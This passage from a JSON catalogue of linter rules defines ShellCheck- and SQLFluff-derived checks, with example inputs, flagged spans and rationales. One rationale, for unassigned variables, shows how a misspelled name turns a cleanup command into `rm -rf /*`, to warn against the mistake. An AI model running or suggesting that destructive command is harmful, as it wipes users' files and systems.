        "fixed": null,
        "input": "cat in.txt | grep x\ncat -n in.txt | grep x\ncat a b | grep x\ngrep x in.txt\necho $(date)\necho \"$(date)\"\necho `date`\necho \"$(date) now\" $x\necho \"$(date)s\"\nread line\nread -r line\nread -p \"x\" -r line\nprintf \"$fmt\"\nprintf \"%s $x\\n\" y\nprintf \"a$x\" y\nprintf '%s' \"$x\" \"a $b\"\nprintf 'literal $x'\ntrap \"rm $tmp\" EXIT\ntrap 'rm $tmp' EXIT\ntrap \"echo bye\" EXIT\nls | grep txt\nps aux | grep nginx\ngrep x f | wc -l\negrep x f\nfgrep x f\nwhich git\ntest -f x && echo yes || cleanup\ntest -f x && echo yes || echo no\n[ -n x ] && (a || b)\na && b\na || b && c\nls -l | grep txt | wc -l\nwhich git\n",
        "language": "shell",
        "other_lines": [
          1,
          5,
          6,
          7,
          10,
          13,
          15,
          21,
          22,
          23,
          24,
          25,
          26,
          27,
          32,
          33
        ],
        "spans": [
          {
            "column": 1,
            "length": 19,
            "line": 18
          }
        ]
      },
      "fix": null,
      "id": "trap-expands-now",
      "languages": [
        "shell"
      ],
      "options": [],
      "presets": [
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "SC2064",
          "partial": false,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2064"
        }
      ],
      "why": "The expansion happens when `trap` is set, not when the signal arrives. If the variable changes later, the trap uses the old value, and a value with a space or a quote changes the command.\n\nTo fix, use single quotes: `trap 'rm \"$tmp\"' EXIT`."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports a lower case variable that the file reads and never assigns, reads with `read`, `getopts`, `local` or a `for` loop, or guards with a default (`${name:-x}`). Names with an upper case letter are left alone: they are the environment's.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "used=1\nunused=1\necho \"$used\" \"$status\" \"${output:-}\" \"${missing[@]}\"\nlocal_var() {\n  local kept=1 dropped=2 bare\n  local -a list=(a b)\n  echo \"$kept\" \"${list[0]}\"\n}\nread -r line rest\necho \"$rest\"\nfor i in 1 2; do echo \"$i\"; done\nfor j in 1 2; do :; done\ncount=0\n(( count += 1 ))\ntotal=$((count * 2))\necho \"$total\"\nexport EXPORTED=1\nPREFIXED=1 cmd\nIFS=,\nprintf -v formatted '%s' x\necho \"$formatted\"\narr[0]=x\necho \"${arr[0]}\" \"${#arr[@]}\" \"$#\" \"$@\" \"$1\" \"$_\"\ncat <<EOF\n$heredoc_read ${FROM_ENV}\nEOF\necho '$single' \"\\$escaped\"\nwhile getopts \"ab:\" opt; do\n  case $opt in a) flag=1 ;; esac\ndone\necho \"$flag\"\n",
        "language": "shell",
        "other_lines": [
          2,
          5,
          12
        ],
        "spans": [
          {
            "column": 16,
            "length": 6,
            "line": 3
          },
          {
            "column": 41,
            "length": 7,
            "line": 3
          },
          {
            "column": 2,
            "length": 12,
            "line": 25
          }
        ]
      },
      "fix": null,
      "id": "unassigned-variable",
      "languages": [
        "shell"
      ],
      "options": [],
      "presets": [
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "SC2154",
          "note": "Lower case names only, reported at the first read.",
          "partial": true,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2154"
        }
      ],
      "why": "A variable that is read and never set is usually a misspelling of another one, and it expands to nothing without an error, so `rm -rf \"$dir/\"*` with `dir` misspelled becomes `rm -rf /*`.\n\nTo fix, correct the name, or assign the variable."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a `==`, `!=` or `=` in `[[ ]]` whose right side is an unquoted expansion.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a=\"x \"\\\"\"$v\"\\\"\" y\"\nd=($(cmd \"$a\"))\nl+=($dl)\nx=($dl \"q\" \"$m\")\nflunk \"failed: $@\"\necho \"a ${s[@]} b\"\necho \"$@\" \"${s[@]}\"\nPGHOST= psql\nIFS= read -r line\nPGHOST=db psql\nunset words[0]\nunset \"words[0]\"\n[[ $a == $b ]]\n[[ $a == \"$b\" ]]\nx=$(echo $y)\nx=$(echo \"a\" | tr a b)\n[[ $(ps | grep x) ]]\nfor l in $(cat file); do :; done\nfor l in \"$@\"; do :; done\neval \"f ${args[@]}\"\nA=1 echo \"$A\"\nA=1 cmd \"$B\"\nA=1 cmd \"$A_\"\necho \"$FUNCNAME\" \"${FUNCNAME[0]}\"\n",
        "language": "shell",
        "other_lines": [
          1,
          2,
          3,
          4,
          5,
          6,
          8,
          11,
          15,
          17,
          18,
          20,
          21,
          24
        ],
        "spans": [
          {
            "column": 1,
            "length": 14,
            "line": 13
          }
        ]
      },
      "fix": null,
      "id": "unquoted-pattern",
      "languages": [
        "shell"
      ],
      "options": [],
      "presets": [
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "SC2053",
          "note": "Only an unquoted expansion on the right of `==`, `!=` or `=` in `[[ ]]`.",
          "partial": true,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2053"
        }
      ],
      "why": "In `[[ ]]` the right side is a pattern, so a `*` or `?` in the value of `$b` in `[[ $a == $b ]]` matches anything, and the test is not a comparison of two strings.\n\nTo fix, quote the right side: `[[ $a == \"$b\" ]]`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports `unset name[i]` with an unquoted subscript.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a=\"x \"\\\"\"$v\"\\\"\" y\"\nd=($(cmd \"$a\"))\nl+=($dl)\nx=($dl \"q\" \"$m\")\nflunk \"failed: $@\"\necho \"a ${s[@]} b\"\necho \"$@\" \"${s[@]}\"\nPGHOST= psql\nIFS= read -r line\nPGHOST=db psql\nunset words[0]\nunset \"words[0]\"\n[[ $a == $b ]]\n[[ $a == \"$b\" ]]\nx=$(echo $y)\nx=$(echo \"a\" | tr a b)\n[[ $(ps | grep x) ]]\nfor l in $(cat file); do :; done\nfor l in \"$@\"; do :; done\neval \"f ${args[@]}\"\nA=1 echo \"$A\"\nA=1 cmd \"$B\"\nA=1 cmd \"$A_\"\necho \"$FUNCNAME\" \"${FUNCNAME[0]}\"\n",
        "language": "shell",
        "other_lines": [
          1,
          2,
          3,
          4,
          5,
          6,
          8,
          13,
          15,
          17,
          18,
          20,
          21,
          24
        ],
        "spans": [
          {
            "column": 1,
            "length": 14,
            "line": 11
          }
        ]
      },
      "fix": null,
      "id": "unset-glob",
      "languages": [
        "shell"
      ],
      "options": [],
      "presets": [
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "SC2184",
          "note": "Only `unset name[...]`.",
          "partial": true,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2184"
        }
      ],
      "why": "The word `name[i]` is a glob pattern too. If a file called `namei` exists in the directory, the shell replaces the word with it and unsets that name.\n\nTo fix, quote it: `unset 'name[i]'`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a pipeline that starts with `cat file`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "cat in.txt | grep x\ncat -n in.txt | grep x\ncat a b | grep x\ngrep x in.txt\necho $(date)\necho \"$(date)\"\necho `date`\necho \"$(date) now\" $x\necho \"$(date)s\"\nread line\nread -r line\nread -p \"x\" -r line\nprintf \"$fmt\"\nprintf \"%s $x\\n\" y\nprintf \"a$x\" y\nprintf '%s' \"$x\" \"a $b\"\nprintf 'literal $x'\ntrap \"rm $tmp\" EXIT\ntrap 'rm $tmp' EXIT\ntrap \"echo bye\" EXIT\nls | grep txt\nps aux | grep nginx\ngrep x f | wc -l\negrep x f\nfgrep x f\nwhich git\ntest -f x && echo yes || cleanup\ntest -f x && echo yes || echo no\n[ -n x ] && (a || b)\na && b\na || b && c\nls -l | grep txt | wc -l\nwhich git\n",
        "language": "shell",
        "other_lines": [
          5,
          6,
          7,
          10,
          13,
          15,
          18,
          21,
          22,
          23,
          24,
          25,
          26,
          27,
          32,
          33
        ],
        "spans": [
          {
            "column": 1,
            "length": 19,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "useless-cat",
      "languages": [
        "shell"
      ],
      "options": [],
      "presets": [
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "SC2002",
          "partial": false,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2002"
        }
      ],
      "why": "`cmd < file` does the same without a process and a pipe, and gives the command a file it can seek in.\n\nTo fix, write `cmd < file`, or pass the file as an argument."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an `echo` whose only argument is a command substitution, as in `echo $(cmd)`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "cat in.txt | grep x\ncat -n in.txt | grep x\ncat a b | grep x\ngrep x in.txt\necho $(date)\necho \"$(date)\"\necho `date`\necho \"$(date) now\" $x\necho \"$(date)s\"\nread line\nread -r line\nread -p \"x\" -r line\nprintf \"$fmt\"\nprintf \"%s $x\\n\" y\nprintf \"a$x\" y\nprintf '%s' \"$x\" \"a $b\"\nprintf 'literal $x'\ntrap \"rm $tmp\" EXIT\ntrap 'rm $tmp' EXIT\ntrap \"echo bye\" EXIT\nls | grep txt\nps aux | grep nginx\ngrep x f | wc -l\negrep x f\nfgrep x f\nwhich git\ntest -f x && echo yes || cleanup\ntest -f x && echo yes || echo no\n[ -n x ] && (a || b)\na && b\na || b && c\nls -l | grep txt | wc -l\nwhich git\n",
        "language": "shell",
        "other_lines": [
          1,
          10,
          13,
          15,
          18,
          21,
          22,
          23,
          24,
          25,
          26,
          27,
          32,
          33
        ],
        "spans": [
          {
            "column": 1,
            "length": 12,
            "line": 5
          },
          {
            "column": 1,
            "length": 14,
            "line": 6
          },
          {
            "column": 1,
            "length": 11,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "useless-echo",
      "languages": [
        "shell"
      ],
      "options": [],
      "presets": [
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "SC2005",
          "partial": false,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2005"
        }
      ],
      "why": "The command already writes its output, so the `echo` adds a process and, unquoted, joins the lines with spaces and splits and globs the output.\n\nTo fix, run the command itself."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `COUNT` of the constant 1 or 0, as in `COUNT(1)`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "select 1 union select 2;\nselect 1 union all select 2;\nselect 1 union distinct select 2;\nselect ifnull(a, 0), nvl(b, 0), coalesce(c, 0) from t;\nselect count(1), count(0), count(*), count(a) from t;\nselect a from t right join u on t.a = u.a;\nselect a from t left join u on t.a = u.a;\nselect case when a then 1 else null end, case when a then 1 else 2 end from t;\nselect a b, c as d from t u join v as w on u.a = w.a;\nselect a from t join u on t.a = u.a inner join v on v.a = t.a;\nselect 1 ;\nselect 2\n;\nselect 3 /* c */;\n/* d */;\n",
        "language": "sql",
        "other_lines": [
          1,
          4,
          6,
          8,
          9,
          10,
          11,
          12,
          14
        ],
        "spans": [
          {
            "column": 8,
            "length": 8,
            "line": 5
          },
          {
            "column": 18,
            "length": 8,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "count-star",
      "languages": [
        "sql"
      ],
      "options": [],
      "presets": [
        "sql/sqlfluff"
      ],
      "upstream": [
        {
          "id": "CV04",
          "partial": false,
          "tool": "sqlfluff",
          "url": "https://docs.sqlfluff.com/en/stable/reference/rules/convention#cv04"
        }
      ],
      "why": "`COUNT(*)` is the standard form and counts rows. `COUNT(1)` and `COUNT(0)` give the same number, but a reader may wonder whether the constant matters, and some think it is faster, which it is not.\n\nTo fix, write `COUNT(*)`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `;` written after a space, a line break or another `;`, instead of right after its statement.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "select 1 union select 2;\nselect 1 union all select 2;\nselect 1 union distinct select 2;\nselect ifnull(a, 0), nvl(b, 0), coalesce(c, 0) from t;\nselect count(1), count(0), count(*), count(a) from t;\nselect a from t right join u on t.a = u.a;\nselect a from t left join u on t.a = u.a;\nselect case when a then 1 else null end, case when a then 1 else 2 end from t;\nselect a b, c as d from t u join v as w on u.a = w.a;\nselect a from t join u on t.a = u.a inner join v on v.a = t.a;\nselect 1 ;\nselect 2\n;\nselect 3 /* c */;\n/* d */;\n",
        "language": "sql",
        "other_lines": [
          1,
          4,
          5,
          6,
          8,
          9,
          10
        ],
        "spans": [
          {
            "column": 9,
            "length": 2,
            "line": 11
          },
          {
            "column": 9,
            "length": 1,
            "line": 12
          },
          {
            "column": 9,
            "length": 9,
            "line": 14
          },
          {
            "column": 18,
            "length": 1,
            "line": 14
          }
        ]
      },
      "fix": null,
      "id": "detached-semicolon",
      "languages": [
        "sql"
      ],
      "options": [],
      "presets": [
        "sql/sqlfluff"
      ],
      "upstream": [
        {
          "id": "CV06",
          "partial": false,
          "tool": "sqlfluff",
          "url": "https://docs.sqlfluff.com/en/stable/reference/rules/convention#cv06"
        }
      ],
      "why": "The end of a statement is easy to see when the `;` sits against the last token. On its own line it reads as a separate, empty statement, and a stray `;;` is an empty one.\n\nTo fix, write the `;` right after the statement."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports `SELECT DISTINCT` in a query that has `GROUP BY`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "select a from t where a = null and b <> null and c != NULL and null = d;\nselect a from t where a is null and b is not null and c = 'null';\nselect distinct a from t group by a;\nselect distinct a from t;\nselect a from t group by a;\nselect a as a, b as c, d.e as e from t;\nselect a from t as x join u as x on x.a = x.b;\nselect a from t join u on t.a = u.a join t on t.a = t.b;\nselect a from t join u on t.a = u.a join v on t.a = v.b;\nwith a as (select 1), b as (select 2), c as (select * from a) select * from c;\nwith recursive r as (select 1 union all select n from r) select 2;\n",
        "language": "sql",
        "other_lines": [
          1,
          6,
          7,
          8,
          10
        ],
        "spans": [
          {
            "column": 8,
            "length": 8,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "distinct-group-by",
      "languages": [
        "sql"
      ],
      "options": [],
      "presets": [
        "sql/sqlfluff"
      ],
      "upstream": [
        {
          "id": "AM01",
          "partial": false,
          "tool": "sqlfluff",
          "url": "https://docs.sqlfluff.com/en/stable/reference/rules/ambiguous#am01"
        }
      ],
      "why": "When the select list has all the grouping columns, the rows are distinct already and `DISTINCT` does nothing. When it leaves one out (`SELECT DISTINCT a ... GROUP BY a, b`), `DISTINCT` does change the result, and the grouping by the other column is probably a mistake.\n\nTo fix, remove `DISTINCT`, or group by the selected columns only."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports two select elements with the same column name, compared without case and quotes: an alias, or the last part of a plain column reference.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "select * from t;\nselect a, b from t1 join t2 on t1.id = t2.id;\nselect t.a, b from t;\nselect a, b as a from t;\nselect a, b from t group by a, 2;\nwith c as (select a from t) select * from c;\nselect x.a from (select * from t) as x;\nselect a from t as x;\nselect x.a from t as x join u as y on x.id = y.id;\n",
        "language": "sql",
        "other_lines": [
          1,
          2,
          3,
          5,
          8
        ],
        "spans": [
          {
            "column": 16,
            "length": 1,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "duplicate-column-alias",
      "languages": [
        "sql"
      ],
      "options": [],
      "presets": [
        "sql/sqlfluff"
      ],
      "upstream": [
        {
          "id": "AL08",
          "partial": false,
          "tool": "sqlfluff",
          "url": "https://docs.sqlfluff.com/en/stable/reference/rules/aliasing#al08"
        }
      ],
      "why": "The result has two columns with one name. Clients that read the result by name get only one of them, a subquery or a view built on it is rejected by some databases, and which one wins is not defined.\n\nTo fix, give one of them another alias."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports two tables of one `FROM` clause with the same alias, or the same name when there is no alias.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "select a from t where a = null and b <> null and c != NULL and null = d;\nselect a from t where a is null and b is not null and c = 'null';\nselect distinct a from t group by a;\nselect distinct a from t;\nselect a from t group by a;\nselect a as a, b as c, d.e as e from t;\nselect a from t as x join u as x on x.a = x.b;\nselect a from t join u on t.a = u.a join t on t.a = t.b;\nselect a from t join u on t.a = u.a join v on t.a = v.b;\nwith a as (select 1), b as (select 2), c as (select * from a) select * from c;\nwith recursive r as (select 1 union all select n from r) select 2;\n",
        "language": "sql",
        "other_lines": [
          1,
          3,
          6,
          10
        ],
        "spans": [
          {
            "column": 32,
            "length": 1,
            "line": 7
          },
          {
            "column": 42,
            "length": 1,
            "line": 8
          }
        ]
      },
      "fix": null,
      "id": "duplicate-table-alias",
      "languages": [
        "sql"
      ],
      "options": [],
      "presets": [
        "sql/sqlfluff"
      ],
      "upstream": [
        {
          "id": "AL04",
          "partial": false,
          "tool": "sqlfluff",
          "url": "https://docs.sqlfluff.com/en/stable/reference/rules/aliasing#al04"
        }
      ],
      "why": "A column reference with that alias can mean either table. Databases reject the query as ambiguous, or the query reads the wrong one.\n\nTo fix, give each table its own alias."
    },
    {
      "category": "cleanup",
      "default_level": "warn",
      "description": "Reports a `CASE` branch `ELSE NULL`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "select 1 union select 2;\nselect 1 union all select 2;\nselect 1 union distinct select 2;\nselect ifnull(a, 0), nvl(b, 0), coalesce(c, 0) from t;\nselect count(1), count(0), count(*), count(a) from t;\nselect a from t right join u on t.a = u.a;\nselect a from t left join u on t.a = u.a;\nselect case when a then 1 else null end, case when a then 1 else 2 end from t;\nselect a b, c as d from t u join v as w on u.a = w.a;\nselect a from t join u on t.a = u.a inner join v on v.a = t.a;\nselect 1 ;\nselect 2\n;\nselect 3 /* c */;\n/* d */;\n",
        "language": "sql",
        "other_lines": [
          1,
          4,
          5,
          6,
          9,
          10,
          11,
          12,
          14
        ],
        "spans": [
          {
            "column": 27,
            "length": 9,
            "line": 8
          }
        ]
      },
      "fix": null,
      "id": "else-null",
      "languages": [
        "sql"
      ],
      "options": [],
      "presets": [
        "sql/sqlfluff"
      ],
      "upstream": [
        {
          "id": "ST01",
          "partial": false,
          "tool": "sqlfluff",
          "url": "https://docs.sqlfluff.com/en/stable/reference/rules/structure#st01"
        }
      ],
      "why": "A `CASE` that does not match returns `NULL` without an `ELSE`, so the branch says what is already the case.\n\nTo fix, remove the `ELSE NULL`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a column of a `SELECT` list that is an expression (a function call, a literal, an operator, a `CASE`) with no alias. A column, `*`, a parenthesised expression and a `::` cast of a column are left alone; `CAST(a AS int)` is a function call and is reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "select 1, sum(a), a + 1, b, t.*, a::int, (a), a & b, case when a then 1 end, count(*) as n from t;\n",
        "language": "sql",
        "other_lines": [],
        "spans": [
          {
            "column": 8,
            "length": 1,
            "line": 1
          },
          {
            "column": 11,
            "length": 6,
            "line": 1
          },
          {
            "column": 19,
            "length": 5,
            "line": 1
          },
          {
            "column": 47,
            "length": 5,
            "line": 1
          },
          {
            "column": 54,
            "length": 22,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "expression-alias",
      "languages": [
        "sql"
      ],
      "options": [],
      "presets": [
        "sql/sqlfluff"
      ],
      "upstream": [
        {
          "id": "AL03",
          "partial": false,
          "tool": "sqlfluff",
          "url": "https://docs.sqlfluff.com/en/stable/reference/rules/aliasing#al03"
        }
      ],
      "why": "Without an alias the name of the column is chosen by the database (`?column?`, `count`, `sum`, `expr1`), and it differs between databases and versions. Code that reads the result by name, and views built on the query, then depend on a generated name.\n\nTo fix, add `AS name`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a function name not in the case that the `policy` option sets. With `consistent` (the default) the first one written fixes the case (`upper`, `lower` or `capitalise`) and a later one that cannot be in it is reported; the other values name the case. The fix writes the word in that case.",
      "example": {
        "config": null,
        "fixed": "SELECT a, b, COUNT(c), SUM(d), NULL, TRUE, CAST(e AS INT), CAST(f AS TEXT)\nFROM t\nWHERE a = 1;\n",
        "input": "SELECT a, B, COUNT(c), sum(d), NULL, true, cast(e as INT), cast(f as text)\nfrom t\nWHERE a = 1;\n",
        "language": "sql",
        "other_lines": [
          2
        ],
        "spans": [
          {
            "column": 24,
            "length": 3,
            "line": 1
          },
          {
            "column": 44,
            "length": 4,
            "line": 1
          },
          {
            "column": 60,
            "length": 4,
            "line": 1
          }
        ]
      },
      "fix": "safe",
      "id": "function-case",
      "languages": [
        "sql"
      ],
      "options": [
        {
          "choices": [
            "consistent",
            "upper",
            "lower",
            "capitalise"
          ],
          "default": "consistent",
          "description": "The case the words must be in: `consistent` follows the first one written.",
          "name": "policy",
          "type": "string"
        }
      ],
      "presets": [
        "sql/sqlfluff"
      ],
      "upstream": [
        {
          "id": "CP03",
          "partial": false,
          "tool": "sqlfluff",
          "url": "https://docs.sqlfluff.com/en/stable/reference/rules/capitalisation#cp03"
        }
      ],
      "why": "Function names written in one case are easy to read and search for. Mixed case makes the same function look like two.\n\nTo fix, write the name in the case that the policy gives."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `GROUP BY` or `ORDER BY` clause that lists both column names or expressions and column positions (`1`, `2`), or that lists them in the other way than the first such clause of the file.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "select * from t;\nselect a, b from t1 join t2 on t1.id = t2.id;\nselect t.a, b from t;\nselect a, b as a from t;\nselect a, b from t group by a, 2;\nwith c as (select a from t) select * from c;\nselect x.a from (select * from t) as x;\nselect a from t as x;\nselect x.a from t as x join u as y on x.id = y.id;\n",
        "language": "sql",
        "other_lines": [
          1,
          2,
          3,
          4,
          8
        ],
        "spans": [
          {
            "column": 20,
            "length": 13,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "group-order-style",
      "languages": [
        "sql"
      ],
      "options": [],
      "presets": [
        "sql/sqlfluff"
      ],
      "upstream": [
        {
          "id": "AM06",
          "partial": false,
          "tool": "sqlfluff",
          "url": "https://docs.sqlfluff.com/en/stable/reference/rules/ambiguous#am06"
        }
      ],
      "why": "Positions are short but depend on the order of the select list: a column added to the front changes what `GROUP BY 1` means, with no error. A clause that mixes the two is read in two ways.\n\nTo fix, use names in every clause, or positions in every one."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an unquoted identifier not in the case that the `policy` option sets. With `consistent` (the default) the first one written fixes the case (`upper`, `lower` or `capitalise`) and a later one that cannot be in it is reported; the other values name the case. The fix writes the word in that case.",
      "example": {
        "config": null,
        "fixed": "SELECT a, b, COUNT(c), SUM(d), NULL, TRUE, CAST(e AS INT), CAST(f AS TEXT)\nFROM t\nWHERE a = 1;\n",
        "input": "SELECT a, B, COUNT(c), sum(d), NULL, true, cast(e as INT), cast(f as text)\nfrom t\nWHERE a = 1;\n",
        "language": "sql",
        "other_lines": [
          2
        ],
        "spans": [
          {
            "column": 11,
            "length": 1,
            "line": 1
          }
        ]
      },
      "fix": "safe",
      "id": "identifier-case",
      "languages": [
        "sql"
      ],
      "options": [
        {
          "choices": [
            "consistent",
            "upper",
            "lower",
            "capitalise"
          ],
          "default": "consistent",
          "description": "The case the words must be in: `consistent` follows the first one written.",
          "name": "policy",
          "type": "string"
        }
      ],
      "presets": [
        "sql/sqlfluff"
      ],
      "upstream": [
        {
          "id": "CP02",
          "partial": false,
          "tool": "sqlfluff",
          "url": "https://docs.sqlfluff.com/en/stable/reference/rules/capitalisation#cp02"
        }
      ],
      "why": "Most databases ignore the case of an unquoted name, so `Orders` and `orders` are one table, but a reader sees two. One case makes names easy to search for and to compare.\n\nTo fix, write the name in the case that the policy gives."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a table or column alias written without the `AS` keyword.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "select 1 union select 2;\nselect 1 union all select 2;\nselect 1 union distinct select 2;\nselect ifnull(a, 0), nvl(b, 0), coalesce(c, 0) from t;\nselect count(1), count(0), count(*), count(a) from t;\nselect a from t right join u on t.a = u.a;\nselect a from t left join u on t.a = u.a;\nselect case when a then 1 else null end, case when a then 1 else 2 end from t;\nselect a b, c as d from t u join v as w on u.a = w.a;\nselect a from t join u on t.a = u.a inner join v on v.a = t.a;\nselect 1 ;\nselect 2\n;\nselect 3 /* c */;\n/* d */;\n",
        "language": "sql",
        "other_lines": [
          1,
          4,
          5,
          6,
          8,
          10,
          11,
          12,
          14
        ],
        "spans": [
          {
            "column": 10,
            "length": 1,
            "line": 9
          },
          {
            "column": 27,
            "length": 1,
            "line": 9
          }
        ]
      },
      "fix": null,
      "id": "implicit-alias",
      "languages": [
        "sql"
      ],
      "options": [],
      "presets": [
        "sql/sqlfluff"
      ],
      "upstream": [
        {
          "id": "AL01",
          "partial": false,
          "tool": "sqlfluff",
          "url": "https://docs.sqlfluff.com/en/stable/reference/rules/aliasing#al01"
        },
        {
          "id": "AL02",
          "partial": false,
          "tool": "sqlfluff",
          "url": "https://docs.sqlfluff.com/en/stable/reference/rules/aliasing#al02"
        }
      ],
      "why": "The alias of a column is easy to confuse with a missing comma: `select a b from t` is one column named `b`, and `select a, b from t` is two. `AS` makes it explicit.\n\nTo fix, write `AS` before the alias."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a select over one table in which some column references are qualified (`t.a`) and others are not.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "select * from t;\nselect a, b from t1 join t2 on t1.id = t2.id;\nselect t.a, b from t;\nselect a, b as a from t;\nselect a, b from t group by a, 2;\nwith c as (select a from t) select * from c;\nselect x.a from (select * from t) as x;\nselect a from t as x;\nselect x.a from t as x join u as y on x.id = y.id;\n",
        "language": "sql",
        "other_lines": [
          1,
          2,
          4,
          5,
          8
        ],
        "spans": [
          {
            "column": 13,
            "length": 1,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "inconsistent-reference",
      "languages": [
        "sql"
      ],
      "options": [],
      "presets": [
        "sql/sqlfluff"
      ],
      "upstream": [
        {
          "id": "RF03",
          "partial": false,
          "tool": "sqlfluff",
          "url": "https://docs.sqlfluff.com/en/stable/reference/rules/references#rf03"
        }
      ],
      "why": "Mixed forms make the reader wonder whether the two refer to the same thing. With one table, one style is enough for every reference, and the unqualified one becomes ambiguous once a join is added.\n\nTo fix, qualify all of them, or none."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `JOIN` with no join type, which is an inner join.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "select 1 union select 2;\nselect 1 union all select 2;\nselect 1 union distinct select 2;\nselect ifnull(a, 0), nvl(b, 0), coalesce(c, 0) from t;\nselect count(1), count(0), count(*), count(a) from t;\nselect a from t right join u on t.a = u.a;\nselect a from t left join u on t.a = u.a;\nselect case when a then 1 else null end, case when a then 1 else 2 end from t;\nselect a b, c as d from t u join v as w on u.a = w.a;\nselect a from t join u on t.a = u.a inner join v on v.a = t.a;\nselect 1 ;\nselect 2\n;\nselect 3 /* c */;\n/* d */;\n",
        "language": "sql",
        "other_lines": [
          1,
          4,
          5,
          6,
          8,
          11,
          12,
          14
        ],
        "spans": [
          {
            "column": 29,
            "length": 4,
            "line": 9
          },
          {
            "column": 17,
            "length": 4,
            "line": 10
          }
        ]
      },
      "fix": null,
      "id": "inner-join",
      "languages": [
        "sql"
      ],
      "options": [],
      "presets": [
        "sql/sqlfluff"
      ],
      "upstream": [
        {
          "id": "AM05",
          "partial": false,
          "tool": "sqlfluff",
          "url": "https://docs.sqlfluff.com/en/stable/reference/rules/ambiguous#am05"
        }
      ],
      "why": "`JOIN` alone leaves it to the reader to know that it means `INNER JOIN` (and not left). The keyword makes the intent explicit next to `LEFT JOIN`.\n\nTo fix, write `INNER JOIN`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a keyword not in the case that the `policy` option sets. With `consistent` (the default) the first one written fixes the case (`upper`, `lower` or `capitalise`) and a later one that cannot be in it is reported; the other values name the case. The fix writes the word in that case.",
      "example": {
        "config": null,
        "fixed": "SELECT a, b, COUNT(c), SUM(d), NULL, TRUE, CAST(e AS INT), CAST(f AS TEXT)\nFROM t\nWHERE a = 1;\n",
        "input": "SELECT a, B, COUNT(c), sum(d), NULL, true, cast(e as INT), cast(f as text)\nfrom t\nWHERE a = 1;\n",
        "language": "sql",
        "other_lines": [],
        "spans": [
          {
            "column": 51,
            "length": 2,
            "line": 1
          },
          {
            "column": 67,
            "length": 2,
            "line": 1
          },
          {
            "column": 1,
            "length": 4,
            "line": 2
          }
        ]
      },
      "fix": "safe",
      "id": "keyword-case",
      "languages": [
        "sql"
      ],
      "options": [
        {
          "choices": [
            "consistent",
            "upper",
            "lower",
            "capitalise"
          ],
          "default": "consistent",
          "description": "The case the words must be in: `consistent` follows the first one written.",
          "name": "policy",
          "type": "string"
        }
      ],
      "presets": [
        "sql/sqlfluff"
      ],
      "upstream": [
        {
          "id": "CP01",
          "partial": false,
          "tool": "sqlfluff",
          "url": "https://docs.sqlfluff.com/en/stable/reference/rules/capitalisation#cp01"
        }
      ],
      "why": "Keywords in one case stand out from the names of tables and columns, and a file that mixes cases looks like it was merged from different sources.\n\nTo fix, write the keyword in the case that the policy gives."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an unquoted name written like a keyword of the dialect, such as a column called `year` or `name`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "select \"A\", \"a\", \"ab c\", \"SELECT\", date, name, a as filter from t;\n",
        "language": "sql",
        "other_lines": [],
        "spans": [
          {
            "column": 36,
            "length": 4,
            "line": 1
          },
          {
            "column": 42,
            "length": 4,
            "line": 1
          },
          {
            "column": 53,
            "length": 6,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "keyword-identifier",
      "languages": [
        "sql"
      ],
      "options": [],
      "presets": [
        "sql/sqlfluff"
      ],
      "upstream": [
        {
          "id": "RF04",
          "partial": false,
